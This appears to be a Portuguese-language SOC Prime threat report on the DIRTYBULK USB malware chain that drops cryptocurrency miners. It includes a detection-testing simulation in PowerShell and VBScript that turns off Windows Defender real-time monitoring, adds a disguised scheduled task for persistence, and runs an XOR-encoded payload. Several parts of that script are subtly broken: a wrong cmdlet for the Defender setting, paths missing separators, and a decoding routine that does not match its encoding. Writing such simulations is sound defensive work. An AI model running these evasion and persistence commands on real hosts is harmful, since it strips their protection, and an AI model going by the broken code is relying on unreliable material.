SOC Prime Bias: Médio

02 Dec 2025 17:53 UTC

DIRTYBULK e Amigos: Malware USB Alimentando Operações de Mineração de Criptomoedas

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
DIRTYBULK e Amigos: Malware USB Alimentando Operações de Mineração de Criptomoedas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O relatório detalha uma campanha de infecção dirigida por USB que utiliza arquivos de atalho maliciosos para entregar uma cadeia de malware em múltiplos estágios para mineração de criptomoedas. A execução inicial carrega um DLL chamado printui.dll de um diretório falso System32, depois transfere para um dropper (CUTFAIL), que implanta ainda um downloader (HIGHREPS) e uma backdoor (PUMPBENCH). A backdoor PUMPBENCH se comunica com um servidor PostgreSQL para buscar cargas adicionais e, por fim, lança mineradores XMRig. A operação mantém persistência através de exclusões do Windows Defender, tarefas agendadas e serviços fraudulentos.

Análise

Pesquisadores da Mandiant desconstruíram a cadeia de ataque e destacaram quatro principais famílias de malware: DIRTYBULK, CUTFAIL, HIGHREPS e PUMPBENCH. Eles capturaram os padrões de nomeação de arquivos dos atores, o abuso de carregamento de DLL do printui.dll, alterações no registro e indicadores de rede associados. A análise também traçou técnicas de persistência, incluindo tarefas agendadas e serviços vinculados ao Grupo de Serviços DCOMLaunch.

Mitigação

As defesas recomendadas incluem bloquear a execução de arquivos de atalho originários de mídias removíveis, monitorar comandos que adicionam exclusões ao Windows Defender, detectar atividades suspeitas de carregamento lateral do printui.dll e buscar serviços ou tarefas agendadas que usam nomes aleatórios de seis dígitos. Aplicar controles de rede contra domínios maliciosos conhecidos e resolvedores DoH pode limitar ainda mais os canais de comando e controle.

Resposta

Uma vez detectado, isole o host impactado, remova o DLL malicioso e componentes relacionados, exclua as entradas de serviço e tarefa agendada ofensivas, e restaure as configurações do Windows Defender limpando as exclusões. Realize uma varredura forense abrangente para descobrir cargas residuais e rastreie conexões para a infraestrutura identificada de C2 PostgreSQL. Finalmente, atualize o conteúdo de detecção para cobrir o uso observado de linha de comando e comportamentos de criação de arquivos.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: Verificação de Pré-vôo de Telemetria & Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para disparar a regra de detecção. Os comandos e narrativas DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnóstico incorreto.

  • Narrativa & Comandos do Ataque:

    1. Etapa 1 – Soltar VBScript malicioso no drive USB comprometido (por exemplo, E:payload.vbs). O script desativa a proteção em tempo real do Windows Defender usando Add‑MpPreference, criptografa uma carga com uma rotina XOR, e cria uma tarefa agendada para persistência.

    2. Etapa 2 – Execute o script via wscript.exe passando a linha de comando de persistência diretamente (para satisfazer a condição conjuntiva da regra).

    3. Etapa 3 – O script internamente invoca o PowerShell para executar a carga criptografada, demonstrando a “cadeia de infecção”.

    4. Etapa 4 – Após a execução, o atacante limpa os artefatos (remove o script, apaga a tarefa agendada).

  • Script de Teste de Regressão:

    # ------------------------------------------------------------
    # Teste de Regressão – Simulação da Cadeia de Infecção por Malware
    # ------------------------------------------------------------
    $scriptPath = "$env:TEMPpayload.vbs"
    $taskName  = "WinUpdateTask"
    $xorKey    = 0x5A
    
    # -- 1. Criar carga falsa criptografada com XOR --------------------------------
    $plainPayload = "calc.exe"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload)
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $xorKey
    }
    $encrypted = [Convert]::ToBase64String($bytes)
    
    # -- 2. Escrever VBScript malicioso -------------------------------------------
    @"
    ' VBScript malicioso – cadeia de infecção
    Set sh = CreateObject("WScript.Shell")
    ' Desativar a proteção em tempo real
    sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True
    
    ' Criar tarefa agendada para persistência
    sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True
    
    ' Decriptar e executar carga
    Dim encData, decData, i
    encData = "$encrypted"
    decData = ""
    For i = 1 To Len(encData) Step 4
        ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey)
        decData = decData & ch
    Next
    sh.Run decData, 0, False
    "@ | Set-Content -Encoding ASCII $scriptPath
    
    # -- 3. Executar o script via wscript.exe (aciona a regra) -------------
    wscript.exe "$scriptPath" /B
    
    # -- 4. (Opcional) Aguarde alguns segundos para que a tarefa seja disparada ----------------
    Start-Sleep -Seconds 10
    
    # ------------------------------------------------------------
    # Limpeza – remover script e tarefa agendada
    # ------------------------------------------------------------
    Remove-Item $scriptPath -Force
    schtasks /Delete /TN $taskName /F
  • Comandos de Limpeza:

    # Remover tarefa agendada residual (se ainda presente)
    schtasks /Delete /TN "WinUpdateTask" /F
    
    # Remover quaisquer arquivos de script remanescentes
    Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue
    
    # Reativar proteção em tempo real
    powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"